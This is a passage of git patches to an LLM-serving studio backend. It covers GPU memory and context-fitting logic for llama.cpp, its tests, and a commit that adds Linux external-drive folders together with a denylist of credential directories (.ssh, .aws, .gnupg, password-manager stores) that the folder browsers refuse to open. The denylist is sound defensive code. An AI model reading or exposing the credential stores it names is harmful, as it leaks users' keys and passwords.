                                 if footprint_mib <= pool_budget:
                                     best_cap = max(best_cap, capped)
                             if best_cap > 0:
@@ -5442,13 +5632,18 @@ class LlamaCppBackend:
                                     effective_ctx, cache_type_kv, n_parallel = n_parallel
                                 )
                                 + _mtp_bytes(effective_ctx)
+                                + _cc_bytes(effective_ctx)
                             )
+                            # The compute buffer is replicated on every device in a
+                            # layer split; fold it into the per-device reserve so a
+                            # multi-GPU pin sizes each card for its own copy.
                             gpu_indices, use_fit = self._select_gpus(
                                 requested_total,
                                 gpus,
                                 usable_fraction = _pin_fraction,
                                 total_by_idx = total_by_idx,
-                                per_device_overhead_bytes = _pipeline_overhead_bytes,
+                                per_device_overhead_bytes = _pipeline_overhead_bytes
+                                + _cc_bytes(effective_ctx),
                                 min_gpus = _layer_min_gpus,
                             )
                             # No silent shrink: effective_ctx stays == requested_ctx.
@@ -5479,6 +5674,9 @@ class LlamaCppBackend:
                                 subset = ranked[:n_gpus]
                                 pool_budget = _pool_budget_mib(subset, pin_fraction)
                                 _ms = _subset_model_size(n_gpus)
+                                # Compute buffer is replicated per device in a layer
+                                # split, so scale the context term by the subset size.
+                                _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n)
                                 capped = self._fit_context_to_vram(
                                     effective_ctx,
                                     pool_budget,
@@ -5487,13 +5685,16 @@ class LlamaCppBackend:
                                     n_parallel = n_parallel,
                                     mtp_engaged = _mtp_reserves_gpu,
                                     mtp_overhead_fn = mtp_overhead_fn,
+                                    compute_ctx_bytes_fn = _cc_sub,
                                     budget_frac = 1.0,
                                     total_mib = None,
                                 )
                                 kv = self._estimate_kv_cache_bytes(
                                     capped, cache_type_kv, n_parallel = n_parallel
                                 )
-                                footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024)
+                                footprint_mib = (
+                                    _ms + kv + _mtp_bytes(capped) + _cc_sub(capped)
+                                ) / (1024 * 1024)
                                 if footprint_mib <= pool_budget:
                                     effective_ctx = capped
                                     gpu_indices = sorted(idx for idx, _ in subset)
@@ -5516,6 +5717,7 @@ class LlamaCppBackend:
                                             _subset_model_size(n_gpus)
                                             + kv
                                             + _mtp_bytes(effective_ctx)
+                                            + _cc_bytes(effective_ctx, n_gpus)
                                         ) / (1024 * 1024)
                                         if footprint_mib <= _pool_budget_mib(subset, pin_fraction):
                                             gpu_indices = sorted(idx for idx, _ in subset)
@@ -5570,6 +5772,7 @@ class LlamaCppBackend:
                                 n_parallel = n_parallel,
                                 mtp_engaged = _mtp_reserves_gpu,
                                 mtp_overhead_fn = mtp_overhead_fn,
+                                compute_ctx_bytes_fn = _cc_bytes,
                                 budget_frac = 1.0,
                                 total_mib = None,
                             )
@@ -5579,6 +5782,7 @@ class LlamaCppBackend:
                                     cap, cache_type_kv, n_parallel = n_parallel
                                 )
                                 + _mtp_bytes(cap)
+                                + _cc_bytes(cap)
                             ) / (1024 * 1024)
                             # Fit returns the request unchanged when it fits OR weights
                             # exceed budget; only the latter over-commits, so floor to 4096.
@@ -5594,6 +5798,48 @@ class LlamaCppBackend:
                         if not explicit_ctx:
                             effective_ctx = max_available_ctx
 
+                    # Prefer fewer serving slots on GPU over --fit on offload: when the extra
+                    # --parallel slots push the footprint past the pin budget, llama-server
+                    # offloads layers to host and decode collapses ~3x (#6718). Retry the fit
+                    # at fewer slots, keeping the largest count that stays fully on GPU and the
+                    # chosen context. Skips tensor mode / Metal / KV-inestimable paths.
+                    if (
+                        use_fit
+                        and n_parallel > 1
+                        and gpus
+                        and self._can_estimate_kv()
+                        and effective_ctx > 0
+                    ):
+                        # Slot-independent footprint (folded compute buffer swapped out so the
+                        # helper re-adds a slot-sized one per candidate).
+                        _base_footprint = (
+                            model_size_fit
+                            - _compute_buffer_pipeline
+                            + _mtp_bytes(effective_ctx)
+                            + _cc_bytes(effective_ctx)
+                        )
+                        _gi_slots, _uf_slots, _slots = self._slots_that_fit_on_gpu(
+                            n_parallel,
+                            effective_ctx,
+                            gpus,
+                            total_by_idx,
+                            _base_footprint,
+                            cache_type_kv,
+                            _pin_fraction,
+                            _pipeline_overhead_bytes + _cc_bytes(effective_ctx),
+                            _layer_min_gpus,
+                            _effective_ubatch,
+                        )
+                        if not _uf_slots:
+                            logger.info(
+                                "Serving slots reduced %d -> %d to keep the model on GPU "
+                                "(avoid --fit offload) at context %d.",
+                                n_parallel,
+                                _slots,
+                                effective_ctx,
+                            )
+                            gpu_indices, use_fit, n_parallel = _gi_slots, False, _slots
+
                     # MTP reserve at the final context, for the logs below.
                     _mtp_reserve_bytes = _mtp_bytes(effective_ctx) if _mtp_will_engage else 0
                     if _mtp_will_engage:
@@ -5692,8 +5938,10 @@ class LlamaCppBackend:
                 if use_fit:
                     cmd.extend(["--fit", "on"])
                 elif gpu_indices is not None:
-                    # Fits on selected GPU(s) -- offload all layers
-                    cmd.extend(["-ngl", "-1"])
+                    # Fits on selected GPU(s) -- force all layers on GPU. --fit off is
+                    # required: without it llama.cpp's default --fit on second-guesses
+                    # and offloads ~1 GB at --parallel 4 even though the model fits.
+                    cmd.extend(["-ngl", "-1", "--fit", "off"])
                     fully_gpu_offloaded = True
 
                 server_caps = self.probe_server_capabilities(binary)
@@ -6078,6 +6326,33 @@ class LlamaCppBackend:
                         _split_axis_crash = self._is_tensor_split_assert(
                             "\n".join(self._stdout_lines[-50:])
                         )
+                        if (
+                            _spawn_attempt == 0
+                            and fully_gpu_offloaded
+                            and _startup_crashed
+                            and not _split_axis_crash
+                        ):
+                            # We forced --fit off because Studio's (conservative) VRAM
+                            # math placed the model fully on GPU. A startup crash here
+                            # means that estimate was optimistic, so fall back to --fit
+                            # on and let llama.cpp offload rather than fail the load.
+                            logger.warning(
+                                "llama-server crashed during startup (exit code %s) "
+                                "with forced --fit off; the fit estimate was optimistic, "
+                                "retrying once with --fit on so it can offload. "
+                                "Crash log: %s",
+                                self._process.returncode,
+                                self._llama_log_path,
+                            )
+                            # Flip Studio's own --fit off (added first, before any
+                            # user extra args) to on; a user's later --fit still wins
+                            # by last-arg. Defensive: if absent, the default is already
+                            # --fit on, so leave it.
+                            _run = list(run_cmd)
+                            if "--fit" in _run:
+                                _run[_run.index("--fit") + 1] = "on"
+                            run_cmd = _run
+                            continue
                         if (
                             _spawn_attempt == 0
                             and _fit_retry_allowed
diff --git a/studio/backend/tests/test_compute_buffer.py b/studio/backend/tests/test_compute_buffer.py
index 42c400383e..5d14c5c5bd 100644
--- a/studio/backend/tests/test_compute_buffer.py
+++ b/studio/backend/tests/test_compute_buffer.py
@@ -61,11 +61,16 @@ from core.inference.llama_cpp import LlamaCppBackend
 MIB = 1024 * 1024
 
 
-def _backend(vocab = 248320, embd = 5120):
+def _backend(
+    vocab = 248320,
+    embd = 5120,
+    mla = None,
+):
     """Backend with just the dims the compute-buffer estimate reads."""
     b = LlamaCppBackend.__new__(LlamaCppBackend)
     b._vocab_size = vocab
     b._embedding_length = embd
+    b._key_length_mla = mla  # non-None -> MLA (compressed attention)
     return b
 
 
@@ -150,3 +155,138 @@ class TestParallel1Default:
     def test_default_n_parallel(self):
         est = _backend()._estimate_compute_buffer_bytes() / MIB
         assert est < 128
+
+
+class TestContextLinearBuffer:
+    """``_compute_buffer_ctx_bytes``: the flash-attn KQ-mask + attention scratch
+    grow ~linearly with context; the flat estimate above only covers ctx -> 0.
+    Measured slope (q8_0 KV, ubatch 512) was 0.74-2.02 x n_embd; 2 x n_embd is the
+    worst-case upper bound the term must hold to."""
+
+    # (model, n_embd, ctx, measured CUDA0 compute buffer MiB at that ctx, q8_0/ub512)
+    _MEASURED = [
+        ("Qwen3.5-2B", 2048, 262144, 796),
+        ("Qwen3.5-4B", 2560, 262144, 1330),  # worst slope, 2.02 x n_embd
+        ("Qwen3.5-9B", 4096, 262144, 1336),
+        ("Qwen3.6-27B", 5120, 262144, 1360),
+        ("Gemma-4-31B", 5376, 262144, 2392),
+    ]
+
+    def test_zero_by_default(self):
+        # Omitted/zero ctx -> no term (keeps the flat callers unchanged).
+        assert _backend()._compute_buffer_ctx_bytes(0) == 0
+
+    def test_zero_when_embd_missing(self):
+        assert _backend(embd = None)._compute_buffer_ctx_bytes(262144) == 0
+
+    def test_grows_linearly_with_context(self):
+        b = _backend(embd = 4096)
+        a = b._compute_buffer_ctx_bytes(65536)
+        d = b._compute_buffer_ctx_bytes(131072)
+        assert d == pytest.approx(2 * a, rel = 1e-6)
+
+    def test_scales_with_embd(self):
+        # The quantized (dequant-scratch) rate scales with n_embd; f16 (mask) does not.
+        small = _backend(embd = 2048)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
+        big = _backend(embd = 5120)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
+        assert big > small
+
+    def test_scales_with_ubatch(self):
+        b = _backend(embd = 4096)
+        lo = b._compute_buffer_ctx_bytes(131072, n_ubatch = 256)
+        hi = b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024)
+        assert hi > lo
+
+    @pytest.mark.parametrize("name,embd,ctx,measured", _MEASURED)
+    def test_upper_bounds_measured_compute_growth(self, name, embd, ctx, measured):
+        # flat term + context-linear term must cover the real (q8_0) buffer at full ctx.
+        b = _backend(embd = embd)
+        flat = b._estimate_compute_buffer_bytes(n_parallel = 1)
+        total = (flat + b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0")) / MIB
+        assert total >= measured, f"{name}: under-reserved {total:.0f} < {measured}"
+
+    def test_worst_case_rate_covers_two_x_embd(self):
+        # >= 2 x n_embd bytes per context token at the default micro-batch (the worst
+        # measured quantized slope, Qwen3.5-4B), so flat + term upper-bounds the buffer.
+        embd = 4096
+        b = _backend(embd = embd)
+        per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "q8_0") / 100000
+        assert per_tok >= 2 * embd
+
+
+class TestContextBufferKVQuant:
+    """The context-linear rate depends on the KV cache type: a quantized cache adds a
+    context-sized dequant scratch (heavy); f16/bf16/f32 only pays the KQ mask (light).
+    Measured Qwen3.5-4B at 256k: 1.30 GiB (q8_0) vs 0.31 GiB (f16)."""
+
+    def test_quantized_heavier_than_f16(self):
+        b = _backend(embd = 4096)
+        q = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
+        f = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16")
+        assert q > f
+
+    def test_none_cache_type_is_f16(self):
+        # None -> f16 (llama.cpp's default); the env-quantized case is covered by the
+        # KV budget's f16 over-reservation, so we take the lighter mask-only rate.
+        b = _backend(embd = 4096)
+        assert b._compute_buffer_ctx_bytes(
+            131072, cache_type_kv = None
+        ) == b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16")
+
+    @pytest.mark.parametrize("ct", ["f16", "bf16", "f32"])
+    def test_unquantized_uses_mask_only_rate(self, ct):
+        # f16/bf16/f32: KQ mask only, n_ubatch*2 B/tok, independent of n_embd.
+        b_small = _backend(embd = 2048)
+        b_big = _backend(embd = 8192)
+        per_small = b_small._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
+        per_big = b_big._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
+        assert per_small == per_big  # no n_embd scaling on the f16 path
+        expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY  # ubatch 512
+        assert per_small == pytest.approx(expected, rel = 1e-6)
+
+    @pytest.mark.parametrize("ct", ["q8_0", "q5_1", "q4_0", "iq4_nl"])
+    def test_quantized_types_use_heavy_rate(self, ct):
+        embd = 4096
+        b = _backend(embd = embd)
+        per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
+        assert per_tok == pytest.approx(
+            LlamaCppBackend._CTX_COMPUTE_BYTES_PER_EMBD * embd, rel = 1e-6
+        )
+
+    def test_f16_covers_measured_mask(self):
+        # f16 buffer is ~mask only (~n_ubatch*2 B/tok); 0.5 x n_embd must cover the
+        # measured Qwen3.5-4B f16 slope (~0.4 x n_embd = 0.31 GiB at 256k).
+        b = _backend(embd = 2560)  # Qwen3.5-4B
+        est = b._compute_buffer_ctx_bytes(262144, cache_type_kv = "f16") / MIB
+        assert est >= 320  # measured 0.31 GiB growth
+
+
+class TestContextBufferMLA:
+    """MLA (compressed attention) needs a smaller quantized dequant scratch than
+    regular attention: measured 0.94 x n_embd on GLM-5.2 and Kimi-K2.7 vs up to
+    2.02x on Qwen/Gemma. Charging the regular rate would badly over-reserve a tight
+    multi-GPU MLA pin (per-device scaling multiplies the error)."""
+
+    def test_mla_lighter_than_regular(self):
+        reg = _backend(embd = 6144, mla = None)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
+        mla = _backend(embd = 6144, mla = 256)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
+        assert mla < reg
+
+    @pytest.mark.parametrize(
+        "name,embd,ctx,measured",
+        [
+            ("GLM-5.2", 6144, 754688, 4141),  # per-device compute MiB at q8_0
+            ("Kimi-K2.7", 7168, 262144, 1690),
+        ],
+    )
+    def test_mla_rate_covers_measured(self, name, embd, ctx, measured):
+        b = _backend(embd = embd, mla = 256)
+        est = b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0") / MIB
+        assert est >= measured, f"{name}: MLA under-reserved {est:.0f} < {measured}"
+
+    def test_mla_not_wildly_over(self):
+        # 1.25 x n_embd should stay within ~1.6x of the measured 0.94x (not 2.4x like
+        # the regular 2.25 rate would), so a multi-GPU MLA pin keeps its context.
+        b = _backend(embd = 6144, mla = 256)
+        est = b._compute_buffer_ctx_bytes(754688, cache_type_kv = "q8_0") / MIB
+        assert est <= 4141 * 1.7
diff --git a/studio/backend/tests/test_slot_offload_fit.py b/studio/backend/tests/test_slot_offload_fit.py
new file mode 100644
index 0000000000..ac606e4627
--- /dev/null
+++ b/studio/backend/tests/test_slot_offload_fit.py
@@ -0,0 +1,115 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the offload-avoidance serving-slot reduction (`_slots_that_fit_on_gpu`).
+
+When a pinned context does not fit at the requested `--parallel` slot count, Studio would
+flip to `--fit on` and llama-server offloads layers to host RAM, collapsing decode ~3x
+(oobabooga #6718). Instead the loader retries the on-GPU fit at fewer slots and keeps the
+largest count that stays fully on GPU (`-ngl -1`). These tests drive the real helper with
+synthetic VRAM maps; the KV term is mocked so totals are controlled and the reduction logic
+is asserted directly (no GPU, network, or subprocess).
+"""
+
+from __future__ import annotations
+
+import sys
+import types as _types
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+from core.inference.llama_cpp import LlamaCppBackend
+
+MIB = 1024 * 1024
+CTX = 90624
+FRAC = LlamaCppBackend._GPU_PIN_VRAM_FRACTION  # 0.97; usable = free - 0.03*total
+
+
+def _backend(
+    vocab = 248320,
+    embd = 5120,
+    kv_fixed_mib = 0,
+):
+    """Backend with the dims the compute buffer reads; KV mocked to a fixed size so the
+    only slot-dependent term is the compute buffer (485 MiB/slot f32 output x 1.15)."""
+    b = LlamaCppBackend.__new__(LlamaCppBackend)
+    b._vocab_size = vocab
+    b._embedding_length = embd
+    b._key_length_mla = None
+    b._estimate_kv_cache_bytes = lambda ctx, t = None, **k: kv_fixed_mib * MIB
+    b._can_estimate_kv = lambda: True
+    return b
+
+
+def _run(
+    b,
+    n_parallel,
+    base_mib,
+    gpus,
+    total_by_idx,
+    overhead_mib = 0,
+):
+    return b._slots_that_fit_on_gpu(
+        n_parallel,
+        CTX,
+        gpus,
+        total_by_idx,
+        int(base_mib * MIB),
+        "q8_0",
+        FRAC,
+        int(overhead_mib * MIB),
+        1,
+        512,
+    )
+
+
+class TestSlotsThatFitOnGpu:
+    """Compute-buffer per slot (vocab 248320, embd 5120): cb(1)=46, cb(2)=604, cb(3)=1162,
+    cb(4)=1719 MiB. Single 24 GB card usable = 24576 - 0.03*24576 = 23839 MiB."""
+
+    def test_reduces_to_largest_fitting_slot(self):
+        # base+KV = 22500: par4 (24219) over 23839, par3 (23662) fits -> 3 slots on GPU.
+        gi, use_fit, slots = _run(_backend(), 4, 22500, [(0, 24576)], {0: 24576})
+        assert use_fit is False and gi == [0] and slots == 3
+
+    def test_floor_when_only_one_slot_fits(self):
+        # base 23400: par2 (24004) over, par1 (23446) fits -> drop all the way to 1.
+        gi, use_fit, slots = _run(_backend(), 4, 23400, [(0, 24576)], {0: 24576})
+        assert use_fit is False and gi == [0] and slots == 1
+
+    def test_none_fit_stays_offload(self):
+        # Even a single slot (24046) exceeds usable -> genuine offload, unchanged.
+        gi, use_fit, slots = _run(_backend(), 4, 24000, [(0, 24576)], {0: 24576})
+        assert use_fit is True and gi is None and slots == 4
+
+    def test_roomy_would_keep_all_but_helper_only_reduces(self):
+        # On a roomy card par4 fits, so load_model never calls this helper; if called it
+        # still only searches < n_parallel and never raises the count above the request.
+        gi, use_fit, slots = _run(_backend(), 4, 5000, [(0, 183000)], {0: 183000})
+        assert use_fit is False and slots == 3 and slots < 4
+
+    def test_single_slot_request_is_noop(self):
+        # n_parallel == 1: nothing to reduce (range empty) -> report offload unchanged.
+        gi, use_fit, slots = _run(_backend(), 1, 22500, [(0, 24576)], {0: 24576})
+        assert use_fit is True and gi is None and slots == 1
+
+    def test_multi_gpu_reduces_across_devices(self):
+        # Needs 2 GPUs: usable/GPU = 23839, cumulative 47677. base+KV 46200: par4 (47919)
+        # over, par3 (47362) fits across both -> 3 slots spanning [0, 1].
+        gi, use_fit, slots = _run(
+            _backend(), 4, 46200, [(0, 24576), (1, 24576)], {0: 24576, 1: 24576}
+        )
+        assert use_fit is False and gi == [0, 1] and slots == 3
+
+    def test_kv_counted_per_candidate(self):
+        # A non-zero (slot-independent) KV shifts the threshold: with 3000 MiB KV and
+        # base 19500 (= 22500 total at par-independent terms) the same par3 fit holds.
+        gi, use_fit, slots = _run(_backend(kv_fixed_mib = 3000), 4, 19500, [(0, 24576)], {0: 24576})
+        assert use_fit is False and slots == 3
diff --git a/studio/backend/tests/test_tensor_parallel.py b/studio/backend/tests/test_tensor_parallel.py
index 1f09f9a091..0d71b89d87 100644
--- a/studio/backend/tests/test_tensor_parallel.py
+++ b/studio/backend/tests/test_tensor_parallel.py
@@ -746,10 +746,14 @@ def test_tp_plan_weighted_split_on_asymmetric_big_model():
     b, (ec, mac, gi, ts) = _plan(50)
     reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
     assert gi == [0, 1]
-    # split weighted by (usable - buffer); with no totals usable is free*frac
+    # split weighted by (usable - flat buffer - per-device context compute); with
+    # no totals usable is free*frac. The per-device cc is subtracted so the smaller
+    # card isn't weighted above its real usable budget (see below).
+    cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024)
+    assert cc_per_dev > 0
     assert ts == [
-        int(48000 * _CTX_FIT_VRAM_FRACTION - reserve),
-        int(24000 * _CTX_FIT_VRAM_FRACTION - reserve),
+        int(48000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev),
+        int(24000 * _CTX_FIT_VRAM_FRACTION - reserve - cc_per_dev),
     ]
     assert ec < 131072  # capped below native
 
@@ -819,6 +823,75 @@ def test_tp_plan_mtp_reserves_extra_and_shrinks_context():
     assert ec_mtp < ec_no
 
 
+def test_tp_plan_reserves_context_linear_compute_buffer():
+    # Tensor mode replicates the compute graph on every device; measured on
+    # Qwen3.5-9B at f16 the per-device buffer grows ~n_ubatch*2 B/token (~1024
+    # B/tok), so the fit must reserve n_dev x that on top of the flat reserve or
+    # it over-pins and OOMs at high context. The chosen KV must leave room for it.
+    b, (ec, mac, gi, ts) = _plan(50)
+    cc = len(gi) * b._compute_buffer_ctx_bytes(ec, None, "f16")
+    assert cc > 0
+    assert b._estimate_kv_cache_bytes(ec) + cc <= _kv_budget_b(50)
+
+
+def test_tp_plan_context_shrinks_vs_compute_unaware():
+    # With the context-linear term the pinned context is strictly below what a
+    # KV-only (compute-unaware) fit at the same budget would allow.
+    b, (ec, *_r) = _plan(50)
+    b2 = _kv_seeded_backend()
+    b2._embedding_length = 0  # kills the context-linear compute term (returns 0)
+    ec_naive, *_r2 = b2._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)
+    assert ec < ec_naive
+
+
+def test_tp_plan_soft_overhead_shrinks_context():
+    # The CUDA-ctx / mmproj / MTP-draft reserve the layer path folds into the fit
+    # budget (model_size_fit) must also shrink the tensor context. Tensor mode has
+    # no --fit valve, so an unreserved overshoot OOMs at startup instead of
+    # offloading. A non-zero soft_overhead must pin a strictly smaller context.
+    b = _kv_seeded_backend()
+    ec_no, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)
+    ec_soft, *_r2 = b._plan_tensor_parallel(
+        _ASYM, int(50 * _GB), 131072, soft_overhead_bytes = 2 * _GB
+    )
+    assert 2048 < ec_soft < ec_no
+
+
+def test_tp_plan_soft_overhead_reserved_against_budget():
+    # The pinned context must leave the whole soft reserve free on top of KV and
+    # the replicated context compute, so the real footprint stays within the pool.
+    b = _kv_seeded_backend()
+    soft = 2 * _GB
+    ec, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072, soft_overhead_bytes = soft)
+    cc = len(_ASYM) * b._compute_buffer_ctx_bytes(ec, None, None)
+    assert b._estimate_kv_cache_bytes(ec) + cc + soft <= _kv_budget_b(50)
+
+
+def test_tp_plan_weighted_split_keeps_small_gpu_within_budget():
+    # Regression: the weighted split must subtract each device's replicated context
+    # compute (cc_bytes/n_dev), not just the flat reserve. Otherwise the smaller
+    # card is weighted above its usable budget and OOMs at launch. Model the split:
+    # llama.cpp distributes weights+KV by the tensor-split weights; every device
+    # also holds the flat reserve plus its per-device context compute.
+    b, (ec, mac, gi, ts) = _plan(50)
+    assert ts is not None and len(ts) == len(gi) == 2
+    reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
+    cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024)
+    free_by_idx = {0: 48000, 1: 24000}
+    split_content_mib = (int(50 * _GB) + b._estimate_kv_cache_bytes(ec)) / (1024 * 1024)
+    total_weight = sum(ts)
+    for w, idx in zip(ts, gi):
+        placed = split_content_mib * w / total_weight
+        usable = free_by_idx[idx] * _CTX_FIT_VRAM_FRACTION
+        assert placed + reserve + cc_per_dev <= usable + 1  # +1 MiB for int rounding
+
+    # Lock the regression: under the old formula (flat reserve only) the smaller
+    # card was placed over its budget; the cc term is what pulls it back.
+    old_adj = [int(free_by_idx[i] * _CTX_FIT_VRAM_FRACTION - reserve) for i in gi]
+    old_small_placed = split_content_mib * old_adj[1] / sum(old_adj)
+    assert old_small_placed + reserve + cc_per_dev > free_by_idx[1] * _CTX_FIT_VRAM_FRACTION
+
+
 def test_tp_plan_no_kv_metadata_floors_context():
     b = LlamaCppBackend()  # no KV metadata -> can't size safely
     ec, mac, gi, ts = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)

From 01f7e14988d081643c48286b23d4f1f5d4ed9112 Mon Sep 17 00:00:00 2001
From: ramisworld <ramialobaidy@outlook.com>
Date: Sat, 4 Jul 2026 06:10:04 +1200
Subject: [PATCH 191/306] Fix Studio custom folders on Linux external drives
 (#6799)

* Fix external drive custom folder selection

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Update studio/backend/tests/test_linux_external_media_paths.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep legacy media scan validation strict

* Apply sensitive-dir denylist to legacy folder browser for PR #6799

The legacy /api/models browse endpoint gained the new /run/media mount
roots in its allowlist but not the credential/config guard that scan-folder
registration and the Hub browser already enforce. Filter sensitive names
during enumeration and reject them in _resolve_browse_target so .ssh, .aws,
.config, etc. under allowlisted roots stay unbrowseable, matching the Hub
browser. Add a public contains_sensitive_path_component helper and cover the
legacy resolver with a regression test.

* Trim redundant comments in PR #6799 changes

* Skip sensitive Linux media roots

* Reject sensitive dirs at exact browse roots for PR #6799

Both _resolve_browse_target functions only checked contains_sensitive_path_component
while walking descendant parts, so requesting an allowlisted root itself (empty
relative path) returned it unchecked. A pre-existing scan-folder row under ~/.ssh,
~/.aws, ~/.config, etc. (registerable before the denylist was added) is re-added to
the allowlist on upgrade and could then be browsed. Check the resolved target once
before returning in both the legacy and Hub browsers, and cover the root case in
both test suites.

* fix: avoid unused path helper reexports

* fix: import sensitive path helpers directly

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 .../hub/services/models/folder_browser.py     |  10 +
 studio/backend/hub/storage/scan_folders.py    |  36 +--
 .../backend/hub/tests/test_model_services.py  |  28 ++
 studio/backend/routes/models.py               |  22 +-
 studio/backend/storage/studio_db.py           |  22 +-
 .../tests/test_linux_external_media_paths.py  | 287 ++++++++++++++++++
 studio/backend/utils/paths/external_media.py  | 100 ++++++
 studio/backend/utils/paths/sensitive.py       |  46 +++
 8 files changed, 520 insertions(+), 31 deletions(-)
 create mode 100644 studio/backend/tests/test_linux_external_media_paths.py
 create mode 100644 studio/backend/utils/paths/external_media.py
 create mode 100644 studio/backend/utils/paths/sensitive.py

diff --git a/studio/backend/hub/services/models/folder_browser.py b/studio/backend/hub/services/models/folder_browser.py
index 9b0b46509b..eb137127fb 100644
--- a/studio/backend/hub/services/models/folder_browser.py
+++ b/studio/backend/hub/services/models/folder_browser.py
@@ -27,6 +27,7 @@ from hub.utils.paths import (
     studio_root,
     well_known_model_dirs,
 )
+from utils.paths.external_media import linux_run_media_mount_roots
 from hub.services.models.common import _safe_is_dir
 from hub.services.models.local_inventory import _resolve_hf_cache_dir
 
@@ -175,6 +176,8 @@ def _build_browse_allowlist() -> list[Path]:
             candidates.append(resolved)
 
     _add(Path.home())
+    for p in linux_run_media_mount_roots():
+        _add(p)
     _add(_resolve_hf_cache_dir())
     try:
         _add(hf_default_cache_dir())
@@ -346,6 +349,11 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
                 )
             current = resolved_child
 
+        if contains_sensitive_path_component(str(current)):
+            raise HTTPException(
+                status_code = 403,
+                detail = "Credential or configuration directories are not browseable.",
+            )
         if not current.is_dir():
             raise HTTPException(
                 status_code = 400,
@@ -485,6 +493,8 @@ def browse_folders_response(
 
     # Home first as the safe fallback.
     _add_sug(Path.home())
+    for p in linux_run_media_mount_roots():
+        _add_sug(p)
     # The HF cache root in use (honors HF_HOME / HF_HUB_CACHE), then the default.
     try:
         _add_sug(_resolve_hf_cache_dir())
diff --git a/studio/backend/hub/storage/scan_folders.py b/studio/backend/hub/storage/scan_folders.py
index 85f515da00..fdb15c7c3c 100644
--- a/studio/backend/hub/storage/scan_folders.py
+++ b/studio/backend/hub/storage/scan_folders.py
@@ -16,37 +16,14 @@ from datetime import datetime, timezone
 
 from storage.studio_db import get_connection
 from hub.utils.paths import normalize_path
+from utils.paths.external_media import is_linux_run_media_path
+from utils.paths.sensitive import (
+    contains_sensitive_path_component as _shared_contains_sensitive_path_component,
+)
 
 
 _schema_lock = threading.Lock()
 _schema_ready = False
-_SENSITIVE_PATH_COMPONENTS = {
-    ".aws",
-    ".azure",
-    ".config",
-    ".docker",
-    ".gcloud",
-    ".gnupg",
-    ".huggingface",
-    ".kaggle",
-    ".kube",
-    ".modelscope",
-    ".ngc",
-    ".local",
-    ".mozilla",
-    ".pki",
-    ".thunderbird",
-    ".ssh",
-    ".1password",
-    ".bitwarden",
-    ".password-store",
-    "1password",
-    "bitwarden",
-    "keychains",
-    "keyrings",
-    "mozilla",
-    "thunderbird",
-}
 
 
 def _denied_path_prefixes() -> list[str]:
@@ -76,8 +53,7 @@ def _denied_path_prefixes() -> list[str]:
 
 
 def _contains_sensitive_path_component(path: str) -> bool:
-    parts = os.path.normpath(path).split(os.sep)
-    return any(part.lower() in _SENSITIVE_PATH_COMPONENTS for part in parts)
+    return _shared_contains_sensitive_path_component(path)
 
 
 def contains_sensitive_path_component(path: str) -> bool:
@@ -142,6 +118,8 @@ def add_scan_folder(path: str) -> dict:
     check = os.path.normcase(normalized) if is_win else normalized
     for prefix in _denied_path_prefixes():
         if check == prefix or check.startswith(prefix + os.sep):
+            if prefix == "/run" and is_linux_run_media_path(check):
+                continue
             raise ValueError(f"Path under {prefix} is not allowed")
 
     conn = get_connection()
diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py
index e22aaba282..f05d8359ec 100644
--- a/studio/backend/hub/tests/test_model_services.py
+++ b/studio/backend/hub/tests/test_model_services.py
@@ -168,6 +168,16 @@ def test_resolve_browse_target_rejects_sensitive_dir(tmp_path):
     assert exc_info.value.status_code == 403
 
 
+def test_resolve_browse_target_rejects_sensitive_root(tmp_path):
+    ssh = tmp_path / "home" / ".ssh"
+    ssh.mkdir(parents = True)
+
+    with pytest.raises(HTTPException) as exc_info:
+        folder_browser._resolve_browse_target(str(ssh), [ssh])
